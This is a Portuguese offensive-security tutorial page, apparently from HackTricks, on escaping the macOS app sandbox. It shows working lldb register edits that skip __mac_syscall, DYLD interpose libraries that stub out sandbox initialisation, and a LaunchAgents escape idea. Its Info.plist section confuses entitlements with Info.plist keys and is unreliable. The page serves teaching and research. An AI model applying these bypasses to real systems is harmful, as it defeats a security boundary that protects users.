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Depuração e Bypass do Sandbox do macOS

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Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Em seguida, libSystem.B irá chamar várias outras funções até que o xpc_pipe_routine envie as permissões do aplicativo para o securityd. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.
Por fim, o sandbox será ativado com uma chamada para __sandbox_ms, que chamará __mac_syscall.

Possíveis Bypasses

{% hint style="warning" %} Observe que arquivos criados por processos em sandbox recebem o atributo de quarentena para evitar a fuga do sandbox. {% endhint %}

Executar binário sem Sandbox

Se você executar um binário que não será colocado em sandbox a partir de um binário em sandbox, ele será executado dentro do sandbox do processo pai.

Depurar e burlar o Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em sandbox:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% tab title="Info.plist" %}

O arquivo Info.plist contém informações sobre o aplicativo e suas configurações. Ele é usado pelo macOS para determinar as permissões e restrições do aplicativo quando executado no ambiente de sandbox. O arquivo Info.plist deve ser incluído no pacote do aplicativo e deve seguir a estrutura e as chaves definidas pela Apple.

Aqui estão algumas chaves importantes que podem ser definidas no arquivo Info.plist para configurar o comportamento do aplicativo no sandbox:

com.apple.security.app-sandbox: Esta chave define se o aplicativo será executado no sandbox. Defina o valor como true para habilitar o sandboxing.
com.apple.security.network.client: Esta chave define se o aplicativo pode fazer conexões de rede. Defina o valor como true para permitir conexões de rede.
com.apple.security.files.user-selected.read-write: Esta chave define se o aplicativo pode ler e gravar em arquivos selecionados pelo usuário. Defina o valor como true para permitir a leitura e gravação em arquivos selecionados pelo usuário.
com.apple.security.files.downloads.read-write: Esta chave define se o aplicativo pode ler e gravar na pasta de downloads do usuário. Defina o valor como true para permitir a leitura e gravação na pasta de downloads.
com.apple.security.files.all: Esta chave define se o aplicativo pode ler e gravar em todos os arquivos do usuário. Defina o valor como true para permitir a leitura e gravação em todos os arquivos.

Essas são apenas algumas das chaves disponíveis para configurar o sandboxing no macOS. Consulte a documentação da Apple para obter mais informações sobre as chaves disponíveis e suas configurações.

{% endtab %}

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} O aplicativo tentará ler o arquivo ~/Desktop/del.txt, o que o Sandbox não permitirá.
Crie um arquivo lá, pois uma vez que o Sandbox for contornado, ele poderá lê-lo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Vamos depurar a aplicação para ver quando o Sandbox é carregado:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp
# Para ignorar, vá para o endereço b.lo modificando alguns registradores primeiro
(lldb) breakpoint delete 1 # Remova o bp
(lldb) register write $pc 0x187659928 # Endereço b.lo
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Processo 2517 retomado
Sandbox Ignorada!
Processo 2517 saiu com status = 0 (0x00000000)

{% hint style="warning" %} Mesmo com o Sandbox contornado, o TCC perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho. {% endhint %}

Abusando de outros processos

Se a partir do processo do sandbox você conseguir comprometer outros processos em execução em sandboxes menos restritivas (ou nenhuma), você poderá escapar para suas sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Bypass de Interpost

Para obter mais informações sobre Interpost, consulte:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interceptar `_libsecinit_initializer` para evitar o sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interceptar `__mac_syscall` para evitar o Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Compilação estática e vinculação dinâmica

Esta pesquisa descobriu 2 maneiras de contornar o Sandbox. Isso ocorre porque o sandbox é aplicado a partir do espaço do usuário quando a biblioteca libSystem é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria colocado em um sandbox:

Se o binário fosse completamente compilado de forma estática, ele poderia evitar o carregamento dessa biblioteca.
Se o binário não precisasse carregar nenhuma biblioteca (porque o vinculador também está em libSystem), ele não precisaria carregar libSystem.

Shellcodes

Observe que mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Privilégios

Note que mesmo que algumas ações possam ser permitidas pelo sandbox se um aplicativo tiver um privilégio específico, como em:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Explorando Locais de Início Automático

Se um processo em sandbox pode escrever em um local onde mais tarde um aplicativo sem sandbox será executado, ele será capaz de escapar simplesmente colocando o binário lá. Um bom exemplo desse tipo de local é ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar de 2 etapas: fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código, que irá realmente escrever em um local onde será executado sem sandbox.

Verifique esta página sobre locais de início automático:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Referências